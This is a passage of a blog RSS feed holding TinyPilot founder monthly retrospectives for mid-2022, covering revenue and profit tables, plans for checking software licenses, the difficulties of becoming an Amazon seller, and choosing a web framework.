&lt;li>&lt;strong>Result&lt;/strong>: Increased ROAS from 1.79 to 1.99&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The digital marketing freelancer working with TinyPilot increased revenue on ad spend to 1.99. I estimate that I&amp;rsquo;m earning about $0.55 in profit for every dollar I spend on ads.&lt;/p>
&lt;p>Unfortunately, I can&amp;rsquo;t just double ad spend and double sales, as costs increase as you try to capture a greater share of search impressions. Still, I&amp;rsquo;m happy with the performance so far, and we&amp;rsquo;re continuing to explore new marketing channels.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2022&lt;/th>
 &lt;th>June 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>14,296&lt;/td>
 &lt;td>10,056&lt;/td>
 &lt;td>&lt;font color="red">-4,240 (-30%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>24,131&lt;/td>
 &lt;td>18,764&lt;/td>
 &lt;td>&lt;font color="red">-5,367 (-22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$54,844.20&lt;/td>
 &lt;td>$72,476.80&lt;/td>
 &lt;td>&lt;font color="green">+$17,632.60 (+32%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,269.56&lt;/td>
 &lt;td>$1,710.27&lt;/td>
 &lt;td>&lt;font color="red">-$1,559.29 (-48%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$58,161.51&lt;/td>
 &lt;td>$67,355.75&lt;/td>
 &lt;td>&lt;font color="green">+$9,174.24 (+15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$6,445.38&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$4,230.17&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$10,675.55 (-inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This was TinyPilot&amp;rsquo;s all-time &lt;del>strongest&lt;/del> (Update: second-strongest, see note below) month of revenue. And the exciting part is that there was otherwise nothing remarkable about June.&lt;/p>
&lt;p>All of TinyPilot&amp;rsquo;s previous record-breaking months were related to some one-time event like a new product launch or a positive review. But June was effectively just a boring old month where nothing out of the ordinary happened. And that&amp;rsquo;s great! It indicates that we can repeat what we&amp;rsquo;re doing without relying on external events to drive sales.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Update (2022-08-03)&lt;/strong>: In doing the July bookkeeping, I realized I had miscalculated June&amp;rsquo;s revenue by about $7k. There was a large, custom order in Shopify that got double-counted in the total. I also added sales from Amazon as our new sales channel, forgetting that Shopify&amp;rsquo;s numbers already include Amazon because of our Shopify&amp;rsquo;s integration with Amazon. I&amp;rsquo;ve corrected the table above.
&lt;/div>

&lt;p>Site visitors are down relative to the previous month but only because May was &lt;a href="https://mtlynch.io/retrospectives/2022/06/#tinypilot-stats">atypically high&lt;/a> due to my last blog post. Our overall visit count is still significantly higher than the first quarter. I credit the increase in visitors to our new marketing campaign.&lt;/p>
&lt;h2 id="how-do-tinypilot-pro-users-prove-their-license">How do TinyPilot Pro users prove their license?&lt;/h2>
&lt;p>I&amp;rsquo;ve always wanted TinyPilot&amp;rsquo;s software to be sustainable on its own regardless of whether we continue selling new hardware. Users get our premium software for free when they purchase the TinyPilot hardware, but there needs to be a way for them to pay after a certain point to fund software maintenance.&lt;/p>
&lt;p>I launched a paid version of TinyPilot called TinyPilot Pro back in December of 2020. I initially planned to launch with license key checks, but I &lt;a href="https://mtlynch.io/retrospectives/2021/01/#enforcing-software-licenses-via-the-honor-system">punted that feature&lt;/a>, reasoning that I didn&amp;rsquo;t need it until licenses started expiring at the end of 2021.&lt;/p>
&lt;p>Now, it&amp;rsquo;s 18 months later, and TinyPilot Pro still never checks if the user has a valid license. I estimate that around 1/3 of users have an expired license and don&amp;rsquo;t realize it.&lt;/p>
&lt;p>I&amp;rsquo;m planning to add a check for a valid license when a user upgrades to the latest version. That way, if a user is happy with their current version, they can use it forever. If they want the latest and greatest, they have to pay for the software update after their initial one-year license expires.&lt;/p>
&lt;p>To check the user&amp;rsquo;s right to download the latest updates, I need a way for the user to prove to the update server that they have an active TinyPilot Pro license.&lt;/p>
&lt;p>Here are the options I&amp;rsquo;m considering:&lt;/p>
&lt;h3 id="device-id">Device ID&lt;/h3>
&lt;p>TinyPilot runs on the Raspberry Pi, and every Pi device has a hardware serial number that you can retrieve like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat /proc/cpuinfo | grep Serial | cut -d &lt;span style="color:#ed9d13">&amp;#39; &amp;#39;&lt;/span> -f &lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>10000000ecf8821b
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We could record the device IDs from each Pi before we sell them to a customer. When the user attempts to upgrade, we just check if their device ID is pre-registered and then activate based on their device ID.&lt;/p>
&lt;ul>
&lt;li>Pros
&lt;ul>
&lt;li>Easy for the user - can&amp;rsquo;t lose or forget their device ID&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cons
&lt;ul>
&lt;li>Requires us to keep track of all the device IDs&lt;/li>
&lt;li>Adds an extra step to the device manufacturing process&lt;/li>
&lt;li>We still need a solution for users who purchased before we started recording device IDs&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="order-details">Order details&lt;/h3>
&lt;p>Today, when a customer wants to download the official TinyPilot disk image, we ask for the order number and the email address associated with their purchase:&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 598px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/07/download-image.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 598px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/07/download-image_hu_c282e561727583a0.png 300w, https://mtlynch.io/retrospectives/2022/07/download-image.png 596w'
 src="https://mtlynch.io/retrospectives/2022/07/download-image.png" alt="Screenshot of image download page on TinyPilot website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The TinyPilot website currently grants TinyPilot image downloads based on the user proving they know the details of their order.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We could use the same logic within the TinyPilot web app to gate upgrades.&lt;/p>
&lt;ul>
&lt;li>Pros
&lt;ul>
&lt;li>Minimizes bookkeeping because we don’t have to keep track of keys or device IDs, as we’re already storing order information&lt;/li>
&lt;li>Works for all past customers because we already have their order information&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cons
&lt;ul>
&lt;li>End-users don&amp;rsquo;t always know their order details
&lt;ul>
&lt;li>Sometimes they buy from a reseller, or someone else at their company purchased the device&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Every time we start selling through a new channel (e.g., Amazon, eBay), we’d have to write custom code to query order information from that channel&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="printed-activation-key">Printed activation key&lt;/h3>
&lt;p>We could generate a set of activation keys, similar to how you activate Microsoft Windows or Office (e.g., &lt;code>1F9PA-V4JD5-4JPOM&lt;/code>). The keys could be printed out and included with each device, and the user types the key to prove they have a license.&lt;/p>
&lt;ul>
&lt;li>Pros
&lt;ul>
&lt;li>Works the same regardless of whether the user buys directly from us or through Amazon, eBay, etc.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cons
&lt;ul>
&lt;li>Users are prone to lose or ignore a printed slip of paper in their order&lt;/li>
&lt;li>We still need a solution for users who purchased before we started handing out activation keys&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="license-baked-into-the-software">License baked into the software&lt;/h3>
&lt;p>We flash images onto customer devices, so we could theoretically place a unique key file on each customer&amp;rsquo;s device that grants the TinyPilot Pro license.&lt;/p>
&lt;ul>
&lt;li>Pros
&lt;ul>
&lt;li>Works the same regardless of whether the user buys directly from us or through Amazon, eBay, etc.&lt;/li>
&lt;li>User can&amp;rsquo;t lose their key&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cons
&lt;ul>
&lt;li>Wildly impractical and complicated to implement
&lt;ul>
&lt;li>We&amp;rsquo;d have to generate custom disk images for each customer and make sure the customer always install their particular image&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>We still need a solution for users who purchased before we started baking in activation keys&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="some-combination">Some combination&lt;/h3>
&lt;p>I&amp;rsquo;m leaning towards a blended approach that uses the most automatic method possible but falls back to more manual methods for edge cases:&lt;/p>
&lt;ol>
&lt;li>Check if the device&amp;rsquo;s hardware ID is pre-registered.&lt;/li>
&lt;li>If the device isn&amp;rsquo;t pre-registered, prompt the user for their order ID and email so we can find their order automatically.&lt;/li>
&lt;li>If we can&amp;rsquo;t find their order automatically with order ID + email, ask the user to email customer support so we can provision a license manually.&lt;/li>
&lt;/ol>
&lt;p>Of the options I can think of, that seems to be the least error prone and puts the least amount of work on end-users.&lt;/p>
&lt;h2 id="abandon-all-hope-ye-who-enters-the-amazon-sellers-marketplace">Abandon all hope, ye who enters the Amazon Sellers Marketplace&lt;/h2>
&lt;p>For a long time, I&amp;rsquo;ve considered selling TinyPilot on Amazon, as many people treat Amazon as their one-stop shop for all online shopping. I&amp;rsquo;ve been resistant because signing up as an Amazon seller seemed like a miserable and tedious process. Having now gone through the process, I can say it&amp;rsquo;s more miserable and tedious than I expected.&lt;/p>
&lt;p>It took three weeks before I could even list my product on Amazon. Every few days, Amazon told me I needed some new approval or had to prove something about my identity or my product.&lt;/p>
&lt;p>First, Amazon had to verify my identity with my driver&amp;rsquo;s license and credit card numbers. Then, I needed to appear on a live video call holding my driver&amp;rsquo;s license in front of my face and bending it to prove it wasn&amp;rsquo;t just a printout.&lt;/p>
&lt;p>Then, Amazon froze my account for a day because they couldn&amp;rsquo;t verify my credit card. This was the same credit card I&amp;rsquo;d had on file with Amazon for a year and used to make ~$50k in purchases with them.&lt;/p>
&lt;p>Then, Amazon froze my account so they could verify I&amp;rsquo;m entitled to use the &amp;ldquo;TinyPilot&amp;rdquo; brand name. I showed them proof that I&amp;rsquo;m the owner of TinyPilot, LLC, and I sent them photos of my product with &amp;ldquo;TinyPilot&amp;rdquo; written on the side.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/07/first-proof.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/07/first-proof_hu_c151f81e84fd8c0d.jpg 300w, https://mtlynch.io/retrospectives/2022/07/first-proof_hu_ba67bd058af461af.jpg 600w, https://mtlynch.io/retrospectives/2022/07/first-proof_hu_c9609d5b2940a4f1.jpg 800w, https://mtlynch.io/retrospectives/2022/07/first-proof_hu_c6ff0ac182a7674c.jpg 1200w, https://mtlynch.io/retrospectives/2022/07/first-proof.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/07/first-proof.jpg" alt="Photo of TinyPilot Voyager from the side with TinyPilot brand name showing" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Photo I sent to Amazon as proof that the brand name “TinyPilot” appears on my product&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>They said they&amp;rsquo;d review within three days, but it actually took 10. Their conclusion was that my photos didn&amp;rsquo;t sufficiently prove that &amp;ldquo;TinyPilot&amp;rdquo; was permanently affixed to my product&amp;hellip;&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 586px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/07/not-permanently-affixed.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 586px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/07/not-permanently-affixed_hu_aa24bda3553d81cc.png 300w, https://mtlynch.io/retrospectives/2022/07/not-permanently-affixed.png 584w'
 src="https://mtlynch.io/retrospectives/2022/07/not-permanently-affixed.png" alt="Thank you for your patience. This is the follow up regarding 5665 error. We have completed our review and we are sorry to inform you that your brand does not meet our criteria for approval. In the provided images, we do not see sufficient proof that the branding is permanently affixed to the product and/or packaging, per the Brand Name Policy. In future, if you would like to request another review, we require new images that show &amp;#39;TinyPilot&amp;#39; is permanently affixed to the product and/or packaging." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon thinks “TinyPilot” is not affixed permanently enough to my product.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>So, I sent new photos much more focused on the brand name, and only then did they finally approve the product.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/07/new-affixed-proof.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/07/new-affixed-proof_hu_f8a4c2dd56827d0b.jpg 300w, https://mtlynch.io/retrospectives/2022/07/new-affixed-proof_hu_4caa369631619aa2.jpg 600w, https://mtlynch.io/retrospectives/2022/07/new-affixed-proof_hu_e3c7f557535b938c.jpg 800w, https://mtlynch.io/retrospectives/2022/07/new-affixed-proof_hu_7c3635ac978938c9.jpg 1200w, https://mtlynch.io/retrospectives/2022/07/new-affixed-proof.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/07/new-affixed-proof.jpg" alt="Photo of me holding a TinyPilot Voyager 2 with a dated note to Amazon" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is this affixed enough for you, Amazon?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The new problem was that TinyPilot didn&amp;rsquo;t show up in search results if you search for &amp;ldquo;tinypilot&amp;rdquo;:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/07/tinypilot-results.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/07/tinypilot-results_hu_834c7b397d74ac1c.png 300w, https://mtlynch.io/retrospectives/2022/07/tinypilot-results_hu_597ca1b4943f94d4.png 600w, https://mtlynch.io/retrospectives/2022/07/tinypilot-results_hu_586a4fec43b2c817.png 800w, https://mtlynch.io/retrospectives/2022/07/tinypilot-results_hu_63958c29eb15c4fb.png 1200w, https://mtlynch.io/retrospectives/2022/07/tinypilot-results.png 1273w'
 src="https://mtlynch.io/retrospectives/2022/07/tinypilot-results.png" alt="Screenshot of Amazon search results for term &amp;#39;tinypilot&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot doesn&amp;rsquo;t appear in search results for &amp;rsquo;tinypilot'&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This is especially weird given that Amazon&amp;rsquo;s own autocomplete suggestions were all clearly about my product:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/07/autocomplete.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/07/autocomplete_hu_4181273e6128e93a.png 300w, https://mtlynch.io/retrospectives/2022/07/autocomplete_hu_9c6c0ff63f714f0.png 600w, https://mtlynch.io/retrospectives/2022/07/autocomplete_hu_55ebed197867da39.png 800w, https://mtlynch.io/retrospectives/2022/07/autocomplete.png 842w'
 src="https://mtlynch.io/retrospectives/2022/07/autocomplete.png" alt="Screenshot of Amazon autocomplete suggestions for tinypilot as &amp;#39;tinypilot kvm over ip&amp;#39; &amp;#39;tinypilot ip kvm&amp;#39; &amp;#39;tinypilotkvm&amp;#39; &amp;#39;tinypilot voyager 2 kvm over ip poe&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon&amp;rsquo;s search suggestions for &amp;rsquo;tinypilot&amp;rsquo; are all clearly about my product, but it still doesn&amp;rsquo;t appear in search results.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Even &amp;ldquo;tinypilot kvm over ip&amp;rdquo; didn&amp;rsquo;t show my product until page two or three of search results.&lt;/p>
&lt;p>I ended up just purchasing ads on Amazon, which finally led to my first few sales.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/07/tinypilot-sponsored.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/07/tinypilot-sponsored_hu_136eab2420a90e83.png 300w, https://mtlynch.io/retrospectives/2022/07/tinypilot-sponsored_hu_765e6bce737052c4.png 600w, https://mtlynch.io/retrospectives/2022/07/tinypilot-sponsored_hu_e3827f8f576f489c.png 800w, https://mtlynch.io/retrospectives/2022/07/tinypilot-sponsored_hu_1d17aab40fe445ab.png 1200w, https://mtlynch.io/retrospectives/2022/07/tinypilot-sponsored.png 1273w'
 src="https://mtlynch.io/retrospectives/2022/07/tinypilot-sponsored.png" alt="Photo of me holding a TinyPilot Voyager 2 with a dated note to Amazon" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot doesn&amp;rsquo;t appear in search results for &amp;rsquo;tinypilot'&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m hoping the hard parts are over for getting up and running, so I&amp;rsquo;ll stick with it and see if Amazon grows our sales as we accrue ratings there.&lt;/p>
&lt;h2 id="amazon-customers-are-a-different-breed">Amazon customers are a different breed&lt;/h2>
&lt;p>Amazon customers seem to have drastically different expectations than customers who purchase directly from the TinyPilot website.&lt;/p>
&lt;p>The first customer to purchase through Amazon sent a message with the order &amp;ldquo;ship this with UPS 2-day,&amp;rdquo; but we don&amp;rsquo;t offer UPS shipping. I responded to the customer&amp;rsquo;s message, but I wasn&amp;rsquo;t sure what to do next. Should I cancel the order and risk a penalty from Amazon? Wait for the customer to respond and risk Amazon penalizing me for shipping late? I ended up waiting a day and canceling after not hearing back. Then, the customer placed the same order, so we just fulfilled it with USPS and didn&amp;rsquo;t hear any complaints.&lt;/p>
&lt;p>A few days later, a different Amazon customer sent me a message saying she was &amp;ldquo;very disappointed&amp;rdquo; that her product hadn&amp;rsquo;t arrived yet, as she paid $10 for expedited shipping. I checked the tracking and saw that we shipped her product a day early via USPS Priority, but USPS was running late. This is obviously out of our control, but I suspect customers don&amp;rsquo;t understand the difference between purchasing from a third-party seller and purchasing directly from Amazon with their own delivery fleet.&lt;/p>
&lt;p>We sometimes get these types of complaints from customers who order directly, but it&amp;rsquo;s nowhere near the rates we&amp;rsquo;re seeing on Amazon.&lt;/p>
&lt;h2 id="still-searching-for-a-lovable-web-framework">Still searching for a lovable web framework&lt;/h2>
&lt;p>As I mentioned in &lt;a href="https://mtlynch.io/retrospectives/2022/06/#wanderjest">my last update&lt;/a>, I&amp;rsquo;m rebuilding &lt;a href="https://wanderjest.com">WanderJest&lt;/a>, a tool for finding live comedy that I put on hold &lt;a href="https://mtlynch.io/retrospectives/2020/04/#putting-wanderjest-on-hold">at the start of the pandemic&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/07/wanderjest-wip.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/07/wanderjest-wip_hu_117cfc589334490a.png 300w, https://mtlynch.io/retrospectives/2022/07/wanderjest-wip_hu_27ab435531c7e40.png 600w, https://mtlynch.io/retrospectives/2022/07/wanderjest-wip_hu_d524ced34bdda2b3.png 800w, https://mtlynch.io/retrospectives/2022/07/wanderjest-wip_hu_6e06cd0a3ccf8764.png 1200w, https://mtlynch.io/retrospectives/2022/07/wanderjest-wip.png 1273w'
 src="https://mtlynch.io/retrospectives/2022/07/wanderjest-wip.png" alt="Screenshot of new WanderJest website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My work-in-progress reimplementation of the WanderJest website using Go, VanillaJS, and SQLite.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m rewriting WanderJest in Go + VanillaJS + SQLite as a &amp;ldquo;back to basics&amp;rdquo; tech stack after years of trying to work with SPA frameworks like Angular and Vue. Chris Ferdinandi articulates some of my frustrations in his article, &lt;a href="https://gomakethings.com/spas-were-a-mistake/">&amp;ldquo;SPAs were a mistake.&amp;rdquo;&lt;/a>&lt;/p>
&lt;p>I like my current tech stack better than any web framework I&amp;rsquo;ve tried in the past, but I still don&amp;rsquo;t &lt;em>love&lt;/em> it. I spend the majority of my time on tedious tasks just gluing things together.&lt;/p>
&lt;p>For example, to allow users to create profiles on WanderJest with their photo, bio, and links to other social networks, I need to:&lt;/p>
&lt;ol>
&lt;li>Create web forms to allow the user to create and edit their profile&lt;/li>
&lt;li>Create server-side endpoints to receive the user submissions&lt;/li>
&lt;li>Create data models to represent profile information&lt;/li>
&lt;li>Write serialization/deserialization code to move data in and out of the data store&lt;/li>
&lt;li>Write SQL queries for inserting and retrieving the data from the data store&lt;/li>
&lt;li>Create a web UI for rendering the profile information&lt;/li>
&lt;/ol>
&lt;p>It&amp;rsquo;s fewer steps than other frameworks I&amp;rsquo;ve used, but that stuff is &lt;em>really boring&lt;/em>.&lt;/p>
&lt;p>&lt;a href="https://github.com/phoenixframework/phoenix_live_view">Phoenix LiveView&lt;/a> has been on my list for the past year. It&amp;rsquo;s what the cool kids over at &lt;a href="https://fly.io">fly.io&lt;/a> are all excited about. Part of Phoenix&amp;rsquo;s promise is that it automates many of the repetitive tasks I listed above. Chris McCord made a &lt;a href="https://www.youtube.com/watch?v=MZvmYaFkNJI">neat demo&lt;/a> where he uses Phoenix to build a basic Twitter clone in 15 minutes.&lt;/p>
&lt;p>At the same time, I&amp;rsquo;m afraid of a &amp;ldquo;grass is always greener&amp;rdquo; mentality that has me constantly hopping around to different frameworks without learning any particular stack well. Maybe a good compromise is &lt;a href="https://rubyonrails.org">Ruby on Rails&lt;/a>, which I think has a similar developer experience to Phoenix but with a more mature ecosystem around it.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Started selling TinyPilot on Amazon&lt;/li>
&lt;li>Completed the first draft of a new full-length blog article&lt;/li>
&lt;li>Completed the process of generating install bundles for TinyPilot&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Amazon Seller Marketplace is even more unpleasant than it seems.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Finalize plans for managing TinyPilot licenses.&lt;/li>
&lt;li>Migrate TinyPilot Community to the next-generation update system.&lt;/li>
&lt;li>Publish the blog post about the TinyPilot website redesign.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 23</title><link>https://mtlynch.io/retrospectives/2022/06/</link><pubDate>Wed, 08 Jun 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/06/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>The TinyPilot website redesign is finally done.&lt;/li>
&lt;li>I&amp;rsquo;ve learned to make Debian packages, and it&amp;rsquo;s surprisingly simple.&lt;/li>
&lt;li>I&amp;rsquo;ve given up on Vue and frontend frameworks in general.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-blog-post-and-video-about-building-a-homelab-nas-server-with-tinypilot">Publish a blog post and video about building a homelab NAS server with TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: &lt;a href="https://mtlynch.io/budget-nas/">Published the post&lt;/a> and &lt;a href="https://youtu.be/q_Mi5LrnIiU">accompanying video&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This was my first blog post in over a year that wasn&amp;rsquo;t a retrospective or year-end review. It got a &lt;a href="https://www.reddit.com/r/truenas/comments/uw5hly/how_i_built_my_first_home_truenas_server_22_tb/">so-so reception on reddit&lt;/a>, but it reached &lt;a href="https://news.ycombinator.com/item?id=31548829">#2 on Hacker News&lt;/a>.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>The TinyPilot website redesign is finally done.&lt;/li>
&lt;li>I&amp;rsquo;ve learned to make Debian packages, and it&amp;rsquo;s surprisingly simple.&lt;/li>
&lt;li>I&amp;rsquo;ve given up on Vue and frontend frameworks in general.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-blog-post-and-video-about-building-a-homelab-nas-server-with-tinypilot">Publish a blog post and video about building a homelab NAS server with TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: &lt;a href="https://mtlynch.io/budget-nas/">Published the post&lt;/a> and &lt;a href="https://youtu.be/q_Mi5LrnIiU">accompanying video&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This was my first blog post in over a year that wasn&amp;rsquo;t a retrospective or year-end review. It got a &lt;a href="https://www.reddit.com/r/truenas/comments/uw5hly/how_i_built_my_first_home_truenas_server_22_tb/">so-so reception on reddit&lt;/a>, but it reached &lt;a href="https://news.ycombinator.com/item?id=31548829">#2 on Hacker News&lt;/a>.&lt;/p>
&lt;p>The post led many visitors to TinyPilot&amp;rsquo;s website, bringing the monthly unique visitors to 14k. That&amp;rsquo;s an all-time high, beating its previous record by 30%. I spent about 45 hours writing the post and producing the video, so the results helped justify the effort.&lt;/p>
&lt;h3 id="complete-the-tinypilot-website-redesign">Complete the TinyPilot website redesign&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: It&amp;rsquo;s finally done!&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The redesign is finally complete. I&amp;rsquo;ve expected this project to wrap up every single month for the past four months, and then something always comes up to delay it. Now, it&amp;rsquo;s officially complete.&lt;/p>
&lt;h3 id="hire-a-marketing-agency-or-freelancer">Hire a marketing agency or freelancer&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Hired a freelancer a few days into June&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I found an agency that seemed like a potential match, but I felt a little iffy about them. We agreed on pricing for a three-month contract, but then after I agreed, they asked to change it to a five-month minimum. That was a big red flag. I continued trying to work something out with them, but their proposals all felt questionable, so I eventually ended the discussions.&lt;/p>
&lt;p>Fortunately, my electrical engineering partner firm recommended a digital marketing freelancer. From the first call, he was a much better match than anyone else I&amp;rsquo;d spoken to, so I hired him on the spot.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2022&lt;/th>
 &lt;th>May 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>5,268&lt;/td>
 &lt;td>14,296&lt;/td>
 &lt;td>&lt;font color="green">+9,028 (+171%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>11,974&lt;/td>
 &lt;td>24,131&lt;/td>
 &lt;td>&lt;font color="green">+12,157 (+102%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$43,771.00&lt;/td>
 &lt;td>$54,844.20&lt;/td>
